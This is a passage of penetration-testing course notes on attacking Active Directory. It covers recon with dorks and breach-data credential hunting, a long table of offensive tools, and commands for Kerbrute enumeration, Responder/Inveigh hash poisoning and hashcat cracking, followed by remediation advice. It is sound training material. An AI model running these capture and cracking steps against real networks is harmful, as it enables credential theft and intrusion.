# Final considerations Things to ask to help the company defend themselves **Perimeter First** * `What exactly are we protecting?` * `What are the most valuable assets the organization owns that need securing?` * `What can be considered the perimeter of our network?` * `What devices & services can be accessed from the Internet? (Public-facing)` * `How can we detect & prevent when an attacker is attempting an attack?` * `How can we make sure the right person &/or team receives alerts as soon as something isn't right?` * `Who on our team is responsible for monitoring alerts and any actions our technical controls flag as potentially malicious?` * `Do we have any external trusts with outside partners?` * `What types of authentication mechanisms are we using?` * `Do we require Out-of-Band (OOB) management for our infrastructure. If so, who has access permissions?` * `Do we have a Disaster Recovery plan?` **Internal Considerations** Many of the questions we ask for external considerations apply to our internal environment. There are a few differences; however, there are many different routes for ensuring the successful defense of our networks. Let's consider the following: * `Are any hosts that require exposure to the internet properly hardened and placed in a DMZ network?` * `Are we using Intrusion Detection and Prevention systems within our environment?` * `How are our networks configured? Are different teams confined to their own network segments?` * `Do we have separate networks for production and management networks?` * `How are we tracking approved employees who have remote access to admin/management networks?` * `How are we correlating the data we are receiving from our infrastructure defenses and end-points?` * `Are we utilizing host-based IDS, IPS, and event logs?` ## MITRE Breakdown As a different look at this, we have broken down the major actions we practice in this module and mapped controls based on the TTP and a MITRE tag. Each tag corresponds with a section of the [Enterprise ATT\&CK Matrix](https://attack.mitre.org/tactics/enterprise/) found here. Any tag marked as `TA` corresponds to an overarching tactic, while a tag marked as `T###` is a technique found in the matrix under tactics. | **TTP** | **MITRE Tag** | **Description** | | --------------------------- | ------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | `External Remote Services` | T1133 | We have options for prevention when dealing with the use of External Remote Services. `First`, having a proper firewall in place to segment our environment from the rest of the Internet and control the flow of traffic is a must. `Second`, disabling and blocking any internal traffic protocols from reaching out to the world is always a good practice. `Third`, using a VPN or some other mechanism that requires a host to be `logically` located within the network before it gains access to those services is a great way to ensure you aren't leaking data you shouldn't. | | `Remote Services` | T1021 | Multi-factor authentication can go a long way when trying to mitigate the unauthorized use of remote services such as SSH and RDP. Even if a user's password was taken, the attacker would still need a way to acquire the string from their MFA of choice. Limiting user accounts with remote access permissions and separating duties as to who can remotely access what portions of a network can go a long way. Utilizing your networked firewall and the built-in firewall on your hosts to limit incoming/outgoing connections for remote services is an easy win for defenders. It will stop the connection attempt unless it is from an authorized internal or external network. When dealing with infrastructure devices such as routers and switches, only exposing remote management services and ports to an Out Of Band (OOB network is a best practice that should always be followed. Doing this ensures that anyone who may have compromised the enterprise networks cannot simply hop from a regular user's host into the infrastructure. | | `Use of Non-Standard Ports` | T1571 | This technique can be a tricky one to catch. Attackers will often use a common protocol such as `HTTP` or `HTTPS` to communicate with your environment. It is hard to see what is going on, especially with the use of HTTPS, but the pairings of protocols such as these with a non-standard port ( 44`4` instead of 44`3`, for example) can tip us off to something suspicious happening. Attackers will often try to work in this manner, so having a solid `baseline` of what ports/protocols are commonly used in your environment can go a long way when trying to spot the bad. Using some form of a Network Intrusion Prevention or Detection system can also help spot and shut down the potentially malicious traffic. | | `Protocol Tunneling` | T1572 | This is an interesting problem to tackle. Many actors utilize protocol tunneling to hide their communications channels. Often we will see things much like we practiced in this module (tunneling other traffic through an SSH tunnel) and even the use of protocols like DNS to pass instructions from external sources to a host internal to the network. Taking the time to lock down what ports and protocols are allowed to talk in/out of your networks is a must. If you have a domain running and are hosting a DC & DNS server, your hosts should have no reason to reach externally for name resolution. Disallowing DNS resolution from the web (except to specific hosts like the DNS server) can help with an issue such as this. Having a good monitoring solution in place can also watch for traffic patterns and what is known as `Beaconing`. Even if the traffic is encrypted, we may possibly see requests happening in a pattern over time. This is a common trait of a C2 channel. | | `Proxy Use` | T1090 | The use of a Proxy point is commonplace among threat actors. Many will use a proxy point or distribute their traffic over multiple hosts so that they do not directly expose their infrastructure. By using a proxy, there is no direct connection from the victim's environment to the attacker's host at any given time. The detection and prevention of proxy use is a bit difficult as it takes an intimate knowledge of common net flow within your environment. The most effective route is maintaining a list of allowed/blocked domains and IP addresses. Anything not explicitly allowed will be blocked until you let the traffic through. | | `LOTL` | N/A | It can be hard to spot an attacker while they are utilizing the resources on hand. This is where having a baseline of network traffic and user behavior comes in handy. If your defenders understand what the day-to-day normal for their network looks like, you have a chance to spot the abnormal. Watching for command shells and utilizing a properly configured EDR and AV solution will go a long way to providing you visibility. Having some form of networking monitoring and logging feeding into a common system like a SIEM which defenders check, will go a long way to seeing an attack in the initial stages instead of after the fact. | # Active Directory Enumeration & Attacks ## Tools of the Trade
ToolDescription
PowerView/SharpViewA PowerShell tool and a .NET port of the same used to gain situational awareness in AD. These tools can be used as replacements for various Windows net* commands and more. PowerView and SharpView can help us gather much of the data that BloodHound does, but it requires more work to make meaningful relationships among all of the data points. These tools are great for checking what additional access we may have with a new set of credentials, targeting specific users or computers, or finding some "quick wins" such as users that can be attacked via Kerberoasting or ASREPRoasting.
BloodHoundUsed to visually map out AD relationships and help plan attack paths that may otherwise go unnoticed. Uses the SharpHound PowerShell or C# ingestor to gather data to later be imported into the BloodHound JavaScript (Electron) application with a Neo4j database for graphical analysis of the AD environment.
SharpHoundThe C# data collector to gather information from Active Directory about varying AD objects such as users, groups, computers, ACLs, GPOs, user and computer attributes, user sessions, and more. The tool produces JSON files which can then be ingested into the BloodHound GUI tool for analysis.
BloodHound.pyA Python-based BloodHound ingestor based on the Impacket toolkit. It supports most BloodHound collection methods and can be run from a non-domain joined attack host. The output can be ingested into the BloodHound GUI for analysis.
KerbruteA tool written in Go that uses Kerberos Pre-Authentication to enumerate Active Directory accounts, perform password spraying, and brute-forcing.
Impacket toolkitA collection of tools written in Python for interacting with network protocols. The suite of tools contains various scripts for enumerating and attacking Active Directory.
ResponderResponder is a purpose-built tool to poison LLMNR, NBT-NS, and MDNS, with many different functions.
Inveigh.ps1Similar to Responder, a PowerShell tool for performing various network spoofing and poisoning attacks.
C# Inveigh (InveighZero)The C# version of Inveigh with a semi-interactive console for interacting with captured data such as username and password hashes.
rpcinfoThe rpcinfo utility is used to query the status of an RPC program or enumerate the list of available RPC services on a remote host. The "-p" option is used to specify the target host. For example the command "rpcinfo -p 10.0.0.1" will return a list of all the RPC services available on the remote host, along with their program number, version number, and protocol. Note that this command must be run with sufficient privileges.
rpcclientA part of the Samba suite on Linux distributions that can be used to perform a variety of Active Directory enumeration tasks via the remote RPC service.
CrackMapExec (CME)CME is an enumeration, attack, and post-exploitation toolkit which can help us greatly in enumeration and performing attacks with the data we gather. CME attempts to "live off the land" and abuse built-in AD features and protocols like SMB, WMI, WinRM, and MSSQL.
RubeusRubeus is a C# tool built for Kerberos Abuse.
GetUserSPNs.pyAnother Impacket module geared towards finding Service Principal names tied to normal users.
HashcatA great hash cracking and password recovery tool.
enum4linuxA tool for enumerating information from Windows and Samba systems.
enum4linux-ngA rework of the original Enum4linux tool that works a bit differently.
ldapsearchBuilt-in interface for interacting with the LDAP protocol.
windapsearchA Python script used to enumerate AD users, groups, and computers using LDAP queries. Useful for automating custom LDAP queries.
DomainPasswordSpray.ps1DomainPasswordSpray is a tool written in PowerShell to perform a password spray attack against users of a domain.
LAPSToolkitThe toolkit includes functions written in PowerShell that leverage PowerView to audit and attack Active Directory environments that have deployed Microsoft's Local Administrator Password Solution (LAPS).
smbmapSMB share enumeration across a domain.
psexec.pyPart of the Impacket toolkit, it provides us with Psexec-like functionality in the form of a semi-interactive shell.
wmiexec.pyPart of the Impacket toolkit, it provides the capability of command execution over WMI.
SnafflerUseful for finding information (such as credentials) in Active Directory on computers with accessible file shares.
smbserver.pySimple SMB server execution for interaction with Windows hosts. Easy way to transfer files within a network.
setspn.exeAdds, reads, modifies and deletes the Service Principal Names (SPN) directory property for an Active Directory service account.
MimikatzPerforms many functions. Notably, pass-the-hash attacks, extracting plaintext passwords, and Kerberos ticket extraction from memory on a host.
secretsdump.pyRemotely dump SAM and LSA secrets from a host.
evil-winrmProvides us with an interactive shell on a host over the WinRM protocol.
mssqlclient.pyPart of the Impacket toolkit, it provides the ability to interact with MSSQL databases.
noPac.pyExploit combo using CVE-2021-42278 and CVE-2021-42287 to impersonate DA from standard domain user.
rpcdump.pyPart of the Impacket toolset, RPC endpoint mapper.
CVE-2021-1675.pyPrintnightmare PoC in python.
ntlmrelayx.pyPart of the Impacket toolset, it performs SMB relay attacks.
PetitPotam.pyPoC tool for CVE-2021-36942 to coerce Windows hosts to authenticate to other machines via MS-EFSRPC EfsRpcOpenFileRaw or other functions.
gettgtpkinit.pyTool for manipulating certificates and TGTs.
getnthash.pyThis tool will use an existing TGT to request a PAC for the current user using U2U.
adidnsdumpA tool for enumerating and dumping DNS records from a domain. Similar to performing a DNS Zone transfer.
gpp-decryptExtracts usernames and passwords from Group Policy preferences files.
GetNPUsers.pyPart of the Impacket toolkit. Used to perform the ASREPRoasting attack to list and obtain AS-REP hashes for users with the 'Do not require Kerberos preauthentication' set. These hashes are then fed into a tool such as Hashcat for attempts at offline password cracking.
lookupsid.pySID bruteforcing tool.
ticketer.pyA tool for creation and customization of TGT/TGS tickets. It can be used for Golden Ticket creation, child to parent trust attacks, etc.
raiseChild.pyPart of the Impacket toolkit, It is a tool for automated child to parent domain privilege escalation.
Active Directory ExplorerActive Directory Explorer (AD Explorer) is an AD viewer and editor. It can be used to navigate an AD database and view object properties and attributes. It can also be used to save a snapshot of an AD database for offline analysis. When an AD snapshot is loaded, it can be explored as a live version of the database. It can also be used to compare two AD database snapshots to see changes in objects, attributes, and security permissions.
PingCastleUsed for auditing the security level of an AD environment based on a risk assessment and maturity framework (based on CMMI adapted to AD security).
Group3rGroup3r is useful for auditing and finding security misconfigurations in AD Group Policy Objects (GPO).
ADReconA tool used to extract various data from a target AD environment. The data can be output in Microsoft Excel format with summary views and analysis to assist with analysis and paint a picture of the environment's overall security state.
# Initial Enumeration Before kicking off any pentest, it can be beneficial to perform `external reconnaissance` of your target. This can serve many different functions, such as: * Validating information provided to you in the scoping document from the client * Ensuring you are taking actions against the appropriate scope when working remotely * Looking for any information that is publicly accessible that can affect the outcome of your test, such as leaked credentials ## What Are We Looking For? The table below highlights the "`What`" in what we would be searching for during this phase of our engagement.
Data PointDescription
IP SpaceValid ASN for our target, netblocks in use for the organization's public-facing infrastructure, cloud presence and the hosting providers, DNS record entries, etc.
Domain InformationBased on IP data, DNS, and site registrations. Who administers the domain? Are there any subdomains tied to our target? Are there any publicly accessible domain services present? (Mailservers, DNS, Websites, VPN portals, etc.) Can we determine what kind of defenses are in place? (SIEM, AV, IPS/IDS in use, etc.)
Schema FormatCan we discover the organization's email accounts, AD usernames, and even password policies? Anything that will give us information we can use to build a valid username list to test external-facing services for password spraying, credential stuffing, brute forcing, etc.
Data DisclosuresFor data disclosures we will be looking for publicly accessible files ( .pdf, .ppt, .docx, .xlsx, etc. ) for any information that helps shed light on the target. For example, any published files that contain intranet site listings, user metadata, shares, or other critical software or hardware in the environment (credentials pushed to a public GitHub repo, the internal AD username format in the metadata of a PDF, for example.)
Breach DataAny publicly released usernames, passwords, or other critical information that can help an attacker gain a foothold.
## Where Are We Looking?
ResourceExamples
ASN / IP registrarsIANA, arin for searching the Americas, RIPE for searching in Europe, BGP Toolkit
Domain Registrars & DNSDomaintools, PTRArchive, ICANN, manual DNS record requests against the domain in question or against well known DNS servers, such as 8.8.8.8. See also viewdns.info and ipaddress
Social MediaSearching Linkedin, Twitter, Facebook, your region's major social media sites, news articles, and any relevant info you can find about the organization.
Public-Facing Company WebsitesOften, the public website for a corporation will have relevant info embedded. News articles, embedded documents, and the "About Us" and "Contact Us" pages can also be gold mines.
Cloud & Dev Storage SpacesGitHub, AWS S3 buckets & Azure Blog storage containers, Google searches using "Dorks"
Breach Data SourcesHaveIBeenPwned to determine if any corporate email accounts appear in public breach data, Dehashed to search for corporate emails with cleartext passwords or hashes we can try to crack offline. We can then try these passwords against any exposed login portals (Citrix, RDS, OWA, 0365, VPN, VMware Horizon, custom applications, etc.) that may use AD authentication.
### Finding Address Spaces The `BGP-Toolkit` hosted by [Hurricane Electric](http://he.net/) is a fantastic resource for researching what address blocks are assigned to an organization and what ASN they reside within. Understanding where that infrastructure resides is extremely important for our testing. We have to ensure we are not interacting with infrastructure out of our scope. In some cases, your client may need to get written approval from a third-party hosting provider before you can test. Others, such as AWS, have specific [guidelines](https://aws.amazon.com/security/penetration-testing/) for performing penetration tests and do not require prior approval for testing some of their services. Others, such as Oracle, ask you to submit a [Cloud Security Testing Notification](https://docs.oracle.com/en-us/iaas/Content/Security/Concepts/security_testing-policy_notification.htm). {% hint style="warning" %} These types of steps should be handled by your company management, legal team, contracts team, etc. If you are in doubt, escalate before attacking any external-facing services you are unsure of during an assessment. It is our responsibility to ensure that we have explicit permission to attack any hosts (both internal and external), and stopping and clarifying the scope in writing never hurts. {% endhint %} ### DNS DNS is a great way to validate our scope and find out about reachable hosts the customer did not disclose in their scoping document. Sites like [domaintools](https://whois.domaintools.com/), and [viewdns.info](https://viewdns.info/) are great spots to start. Sometimes we may find additional hosts out of scope, but look interesting. In that case, we could bring this list to our client to see if any of them should indeed be included in the scope. ### Public Data Social media can be a treasure trove of interesting data that can clue us in to how the organization is structured, what kind of equipment they operate, potential software and security implementations, their schema, and more. Don't discount public information such as job postings or social media. You can learn a lot about an organization just from what they post, and a well-intentioned post could disclose data relevant to us as penetration testers. Websites hosted by the organization are also great places to dig for information. We can gather contact emails, phone numbers, organizational charts, published documents, etc. With the growing use of sites such as GitHub, AWS cloud storage, and other web-hosted platforms, data can also be leaked unintentionally. It could mean the difference between having to password spray and brute-force credentials for hours or days or gaining a quick foothold with developer credentials, which may also have elevated permissions. Tools like [Trufflehog](https://github.com/trufflesecurity/truffleHog) and sites like [Greyhat Warfare](https://buckets.grayhatwarfare.com/) are fantastic resources for finding these breadcrumbs. ## Overarching Enumeration Principles Keeping in mind that our goal is to understand our target better, we are looking for every possible avenue we can find that will provide us with a potential route to the inside. Enumeration itself is an iterative process we will repeat several times throughout a penetration test. Besides the customer's scoping document, this is our primary source of information, so we want to ensure we are leaving no stone unturned. When starting our enumeration, we will first use `passive` resources, starting wide in scope and narrowing down. Once we exhaust our initial run of passive enumeration, we will need to examine the results and then move into our active enumeration phase. ## Example Enumeration Process We will practice our enumeration tactics on the `inlanefreight.com` domain without performing any heavy scans (such as Nmap or vulnerability scans which are out of scope). We will start first by checking our Netblocks data and seeing what we can find. From this first look, we have already gleaned some interesting info. BGP.he is reporting: * IP Address: 134.209.24.248 * Mail Server: mail1.inlanefreight.com * Nameservers: NS1.inlanefreight.com & NS2.inlanefreight.com For now, this is what we care about from its output. Inlanefreight is not a large corporation, so we didn't expect to find that it had its own ASN. Now let's validate some of this information. We utilized `viewdns.info` to validate the IP address of our target. Now let's try another route to validate the two nameservers in our results. ```bash nslookup ns1.inlanefreight.com ``` We now have `two` new IP addresses to add to our list for validation and testing. **Before taking any further action with them, ensure they are in-scope for your test.** For our purposes, the actual IP addresses would not be in scope for scanning, but we could passively browse any websites to hunt for interesting data. We would check sites like LinkedIn, Twitter, Instagram, and Facebook for helpful info if it were real. Using `filetype:pdf inurl:inlanefreight.com` as a search, we are looking for PDFs.
It is always best to save files, screenshots, scan output, tool output, etc., as soon as we come across them or generate them. Next, let's look for any email addresses we can find. Using the dork `intext:"@inlanefreight.com" inurl:inlanefreight.com`, we are looking for any instance that appears similar to the end of an email address on the website. ### **E-mail Dork Results** Browsing the [contact page](https://www.inlanefreight.com/index.php/contact/), we can see several emails for staff in different offices around the globe. We now have an idea of their email naming convention (first.last) and where some people work in the organization. This could be handy in later password spraying attacks or if social engineering/phishing were part of our engagement scope. ### **Username Harvesting** We can use a tool such as [linkedin2username](https://github.com/initstring/linkedin2username) to scrape data from a company's LinkedIn page and create various mashups of usernames (flast, first.last, f.last, etc.) that can be added to our list of potential password spraying targets. ### **Credential Hunting** [Dehashed](http://dehashed.com/) is an excellent tool for hunting for cleartext credentials and password hashes in breach data. We can search either on the site or using a script that performs queries via the API. Typically we will find many old passwords for users that do not work on externally-facing portals that use AD auth (or internal), but we may get lucky! This is another tool that can be useful for creating a user list for external or internal password spraying. ```bash sudo python3 dehashed.py -q inlanefreight.local -p ``` Also see [Breachdirectory](https://breachdirectory.org/), [leakpeek](https://leakpeek.com/), [checkleaked](https://checkleaked.cc/), [(paid) snusbase](https://snusbase.com/) ## Starting AD enumaration: TTPs We will start with `passive` identification of any hosts in the network, followed by `active` validation of the results to find out more about each host (what services are running, names, potential vulnerabilities, etc.). Once we know what hosts exist, we can proceed with probing those hosts, looking for any interesting data we can glean from them. After we have accomplished these tasks, we should stop and regroup and look at what info we have. At this time, we'll hopefully have a set of credentials or a user account to target for a foothold onto a domain-joined host or have the ability to begin credentialed enumeration from our Linux attack host. ### Identifying Hosts We can use `Wireshark` and `TCPDump` to "put our ear to the wire" and see what hosts and types of network traffic we can capture. This is particularly helpful if the assessment approach is "black box." ```bash sudo -E wireshark ``` Example: We notice some [ARP](https://en.wikipedia.org/wiki/Address_Resolution_Protocol) requests and replies, [MDNS](https://en.wikipedia.org/wiki/Multicast_DNS), and other basic [layer two](https://www.juniper.net/documentation/us/en/software/junos/multicast-l2/topics/topic-map/layer-2-understanding.html) packets If we are on a host without a GUI (which is typical), we can use [tcpdump](https://linux.die.net/man/8/tcpdump), [net-creds](https://github.com/DanMcInerney/net-creds), and [NetMiner](https://www.netminer.com/en/product/netminer.php), etc., to perform the same functions. We can also use tcpdump to save a capture to a .pcap file, transfer it to another host, and open it in Wireshark. ```bash sudo tcpdump -i ens224 ``` Depending on the host you are on, you may already have a network monitoring tool built-in, such as `pktmon.exe`, which was added to all editions of Windows 10. {% hint style="info" %} As a note for testing, it's always a good idea to save the PCAP traffic you capture. You can review it again later to look for more hints, and it makes for great additional information to include while writing your reports. {% endhint %} ow let's utilize a tool called `Responder` to analyze network traffic and determine if anything else in the domain pops up. [Responder](https://github.com/lgandx/Responder-Windows) is a tool built to listen, analyze, and poison `LLMNR`, `NBT-NS`, and `MDNS` requests and responses. ```bash sudo responder -I ens224 -A ``` As we start Responder with passive analysis mode enabled, we will see requests flow in our session. Notice below that we found a few unique hosts not previously mentioned in our Wireshark captures. It's worth noting these down as we are starting to build a nice target list of IPs and DNS hostnames. Our passive checks have given us a few hosts to note down for a more in-depth enumeration. Now let's perform some active checks starting with a quick ICMP sweep of the subnet using `fping`. [Fping](https://fping.org/) provides us with a similar capability as the standard ping application in that it utilizes ICMP requests and replies to reach out and interact with a host. ### **FPing Active Checks** Here we'll start `fping` with a few flags: `a` to show targets that are alive, `s` to print stats at the end of the scan, `g` to generate a target list from the CIDR network, and `q` to not show per-target results. ```bash fping -asgq 172.16.5.0/23 ``` The command above validates which hosts are active in the `/23` network and does it quietly instead of spamming the terminal with results for each IP in the target list. ### **Nmap Scanning** Now that we have a list of active hosts within our network, we can enumerate those hosts further. With our focus on AD, after doing a broad sweep, it would be wise of us to focus on standard protocols typically seen accompanying AD services, such as DNS, SMB, LDAP, and Kerberos name a few. ```bash sudo nmap -v -A -iL hosts.txt -oN ``` The [-A (Aggressive scan options)](https://nmap.org/book/man-misc-options.html) scan will perform several functions. For our hosts.txt file, some of our results from Responder and fping overlapped (we found the name and IP address), so to keep it simple, just the IP address was fed into hosts.txt for the scan. Looking at our results, we found several servers that host domain services ( DC01, MX01, WS01, etc.). Now that we know what exists and what services are running, we can poll those servers and attempt to enumerate users. Be sure to use the `-oA` flag as a best practice when performing Nmap scans. This will ensure that we have our scan results in several formats for logging purposes and formats that can be manipulated and fed into other tools. We will most likely return to these results later for further enumeration, so don't forget about them. We need to find our way to a domain user account or `SYSTEM` level access on a domain-joined host so we can gain a foothold and start the real fun. Let's dive into finding a user account. ## Identifying Users If our client does not provide us with a user to start testing with (which is often the case), we will need to find a way to establish a foothold in the domain by either obtaining clear text credentials or an NTLM password hash for a user, a SYSTEM shell on a domain-joined host, or a shell in the context of a domain user account. ### Kerbrute - Internal AD Username Enumeration [Kerbrute](https://github.com/ropnop/kerbrute) can be a stealthier option for domain account enumeration. It takes advantage of the fact that Kerberos pre-authentication failures often will not trigger logs or alerts. We will use Kerbrute in conjunction with the `jsmith.txt` or `jsmith2.txt` user lists from [Insidetrust](https://github.com/insidetrust/statistically-likely-usernames). We can point Kerbrute at the DC we found earlier and feed it a wordlist. The tool is quick, and we will be provided with results letting us know if the accounts found are valid or not, which is a great starting point for launching attacks such as password spraying To get started with Kerbrute, we can download [precompiled binaries](https://github.com/ropnop/kerbrute/releases/latest) for the tool for testing from Linux, Windows, and Mac, or we can compile it ourselves: ```bash sudo git clone https://github.com/ropnop/kerbrute.git make help sudo make all ``` The newly created `dist` directory will contain our compiled binaries. Usage: ```bash kerbrute userenum -d INLANEFREIGHT.LOCAL --dc 172.16.5.5 jsmith.txt -o valid_ad_users ``` ```bash kerbrute userenum -d --dc -o valid_ad_users ``` ## Identifying Potential Vulnerabilities The [local system](https://docs.microsoft.com/en-us/windows/win32/services/localsystem-account) account `NT AUTHORITY\SYSTEM` is a built-in account in Windows operating systems. It has the highest level of access in the OS A `SYSTEM` account on a `domain-joined` host will be able to enumerate Active Directory by impersonating the computer account, which is essentially just another kind of user account. Having SYSTEM-level access within a domain environment is nearly equivalent to having a domain user account. There are several ways to gain SYSTEM-level access on a host, including but not limited to: * Remote Windows exploits such as MS08-067, EternalBlue, or BlueKeep. * Abusing a service running in the context of the `SYSTEM account`, or abusing the service account `SeImpersonate` privileges using [Juicy Potato](https://github.com/ohpe/juicy-potato). This type of attack is possible on older Windows OS' but not always possible with Windows Server 2019. * Local privilege escalation flaws in Windows operating systems such as the Windows 10 Task Scheduler 0-day. * Gaining admin access on a domain-joined host with a local account and using Psexec to launch a SYSTEM cmd window By gaining SYSTEM-level access on a domain-joined host, you will be able to perform actions such as, but not limited to: * Enumerate the domain using built-in tools or offensive tools such as BloodHound and PowerView. * Perform Kerberoasting / ASREPRoasting attacks within the same domain. * Run tools such as Inveigh to gather Net-NTLMv2 hashes or perform SMB relay attacks. * Perform token impersonation to hijack a privileged domain user account. * Carry out ACL attacks. ## A Word Of Caution Keep the scope and style of the test in mind when choosing a tool for use. If you are performing a non-evasive penetration test, with everything out in the open and the customer's staff knowing you are there, it doesn't typically matter how much noise you make. However, during an evasive penetration test, adversarial assessment, or red team engagement, you are trying to mimic a potential attacker's Tools, Tactics, and Procedures. With that in mind, `stealth` is of concern. Throwing Nmap at an entire network is not exactly quiet, and many of the tools we commonly use on a penetration test will trigger alarms for an educated and prepared SOC or Blue Teamer. Always be sure to clarify the goal of your assessment with the client in writing before it begins. # Sniffing out a Foothold ## LLMNR/NBT-NS Poisoning - from Linux This section and the next will cover a common way to gather credentials and gain an initial foothold during an assessment: a Man-in-the-Middle attack on Link-Local Multicast Name Resolution (LLMNR) and NetBIOS Name Service (NBT-NS) broadcasts. Depending on the network, this attack may provide low-privileged or administrative level password hashes that can be cracked offline or even cleartext credentials. ### LLMNR & NBT-NS Primer [Link-Local Multicast Name Resolution](https://datatracker.ietf.org/doc/html/rfc4795) (LLMNR) and [NetBIOS Name Service](https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-2000-server/cc940063\(v=technet.10\)?redirectedfrom=MSDN) (NBT-NS) are Microsoft Windows components that serve as alternate methods of host identification that can be used when DNS fails. If a machine attempts to resolve a host but DNS resolution fails, typically, the machine will try to ask all other machines on the local network for the correct host address via LLMNR. LLMNR is based upon the Domain Name System (DNS) format and allows hosts on the same local link to perform name resolution for other hosts. It uses port `5355` over UDP natively. If LLMNR fails, the NBT-NS will be used. NBT-NS identifies systems on a local network by their NetBIOS name. NBT-NS utilizes port `137` over UDP. The kicker here is that when LLMNR/NBT-NS are used for name resolution, ANY host on the network can reply. This is where we come in with `Responder` to poison these requests. If the requested host requires name resolution or authentication actions, we can capture the NetNTLM hash and subject it to an offline brute force attack in an attempt to retrieve the cleartext password. The captured authentication request can also be relayed to access another host or used against a different protocol (such as LDAP) on the same host. LLMNR/NBNS spoofing combined with a lack of SMB signing can often lead to administrative access on hosts within a domain. ### TTPs (tactics, techniques and procedures) Several tools can be used to attempt LLMNR & NBT-NS poisoning:
ToolDescription
ResponderResponder is a purpose-built tool to poison LLMNR, NBT-NS, and MDNS, with many different functions.
InveighInveigh is a cross-platform MITM platform that can be used for spoofing and poisoning attacks.
MetasploitMetasploit has several built-in scanners and spoofing modules made to deal with poisoning attacks.
#### Responder In Action Some common options we'll typically want to use are `-wf`; this will start the WPAD rogue proxy server, while `-f` will attempt to fingerprint the remote host operating system and version. We can use the `-v` flag for increased verbosity if we are running into issues, but this will lead to a lot of additional data printed to the console. Other options such as `-F` and `-P` can be used to force NTLM or Basic authentication and force proxy authentication, but may cause a login prompt, so they should be used sparingly. The use of the `-w` flag utilizes the built-in WPAD proxy server. This can be highly effective, especially in large organizations, because it will capture all HTTP requests by any users that launch Internet Explorer if the browser has [Auto-detect settings](https://docs.microsoft.com/en-us/internet-explorer/ie11-deploy-guide/auto-detect-settings-for-ie11) enabled. With this configuration shown above, Responder will listen and answer any requests it sees on the wire. If you are successful and manage to capture a hash, Responder will print it out on screen and write it to a log file per host located in the `/usr/share/responder/logs` directory. Hashes are saved in the format `(MODULE_NAME)-(HASH_TYPE)-(CLIENT_IP).txt` ashes are also stored in a SQLite database that can be configured in the `Responder.conf` config file, typically located in `/usr/share/responder` unless we clone the Responder repo directly from GitHub. We must run the tool with sudo privileges or as root and make sure the following ports are available on our attack host for it to function best: ```shell-session UDP 137, UDP 138, UDP 53, UDP/TCP 389,TCP 1433, UDP 1434, TCP 80, TCP 135, TCP 139, TCP 445, TCP 21, TCP 3141,TCP 25, TCP 110, TCP 587, TCP 3128, Multicast UDP 5355 and 5353 ``` Any of the rogue servers (i.e., SMB) can be disabled in the `Responder.conf` file. If Responder successfully captured hashes, as seen above, we can find the hashes associated with each host/protocol in their own text file We can kick off a Responder session rather quickly: ```bash sudo responder -I ens224 ``` Typically we should start Responder and let it run for a while in a tmux window while we perform other enumeration tasks to maximize the number of hashes that we can obtain. Once we are ready, we can pass these hashes to Hashcat using hash mode `5600` for NTLMv2 hashes that we typically obtain with Responder. We may at times obtain NTLMv1 hashes and other types of hashes and can consult the [Hashcat example hashes](https://hashcat.net/wiki/doku.php?id=example_hashes) page to identify them and find the proper hash mode. If we ever obtain a strange or unknown hash, this site is a great reference to help identify it. Once we have enough, we need to get these hashes into a usable format for us right now. NetNTLMv2 hashes are very useful once cracked, but cannot be used for techniques such as pass-the-hash, meaning we have to attempt to crack them offline. We can do this with tools such as Hashcat and John. ```bash hashcat -m 5600 forend_ntlmv2 /usr/share/wordlists/rockyou.txt ``` ## LLMNR/NBT-NS Poisoning - from Windows This section will explore the tool [Inveigh](https://github.com/Kevin-Robertson/Inveigh) and attempt to capture another set of credentials. Inveigh can listen to IPv4 and IPv6 and several other protocols, including `LLMNR`, DNS, `mDNS`, NBNS, `DHCPv6`, ICMPv6, `HTTP`, HTTPS, `SMB`, LDAP, `WebDAV`, and Proxy Auth. We can get started with the PowerShell version as follows and then list all possible parameters. There is a [wiki](https://github.com/Kevin-Robertson/Inveigh/wiki/Parameters) that lists all parameters and usage instructions. ```powershell Import-Module .\Inveigh.ps1 (Get-Command Invoke-Inveigh).Parameters ``` Let's start Inveigh with LLMNR and NBNS spoofing, and output to the console and write to a file. We will leave the rest of the defaults, which can be seen [here](https://github.com/Kevin-Robertson/Inveigh#parameter-help). ```powershell Invoke-Inveigh Y -NBNS Y -ConsoleOutput Y -FileOutput Y ``` ### C# Inveigh (InveighZero) The PowerShell version of Inveigh is the original version and is no longer updated. The tool author maintains the C# version, which combines the original PoC C# code and a C# port of most of the code from the PowerShell version. Let's go ahead and run the C# version with the defaults and start capturing hashes. ```powershell .\Inveigh.exe ``` We can also see the message `Press ESC to enter/exit interactive console`, which is very useful while running the tool. The console gives us access to captured credentials/hashes, allows us to stop Inveigh, and more. ```powershell C(0:0) NTLMv1(0:0) NTLMv2(3:9)> HELP ``` We can quickly view unique captured hashes by typing `GET NTLMV2UNIQUE`. We can type in `GET NTLMV2USERNAMES` and see which usernames we have collected. *** ## Remediation Mitre ATT\&CK lists this technique as [ID: T1557.001](https://attack.mitre.org/techniques/T1557/001), `Adversary-in-the-Middle: LLMNR/NBT-NS Poisoning and SMB Relay`. There are a few ways to mitigate this attack. To ensure that these spoofing attacks are not possible, we can disable LLMNR and NBT-NS. As a word of caution, it is always worth slowly testing out a significant change like this to your environment carefully before rolling it out fully. As penetration testers, we can recommend these remediation steps, but should clearly communicate to our clients that they should test these changes heavily to ensure that disabling both protocols does not break anything in the network. We can disable LLMNR in Group Policy by going to Computer Configuration --> Administrative Templates --> Network --> DNS Client and enabling "Turn OFF Multicast Name Resolution." NBT-NS cannot be disabled via Group Policy but must be disabled locally on each host. We can do this by opening `Network and Sharing Center` under `Control Panel`, clicking on `Change adapter settings`, right-clicking on the adapter to view its properties, selecting `Internet Protocol Version 4 (TCP/IPv4)`, and clicking the `Properties` button, then clicking on `Advanced` and selecting the `WINS` tab and finally selecting `Disable NetBIOS over TCP/IP`. While it is not possible to disable NBT-NS directly via GPO, we can create a PowerShell script under Computer Configuration --> Windows Settings --> Script (Startup/Shutdown) --> Startup with something like the following: ```powershell $regkey = "HKLM:SYSTEM\CurrentControlSet\services\NetBT\Parameters\Interfaces" Get-ChildItem $regkey | foreach { Set-ItemProperty -Path "$regkey\$($_.pschildname)" -Name NetbiosOptions -Value 2 -Verbose} ``` In the Local Group Policy Editor, we will need to double click on `Startup`, choose the 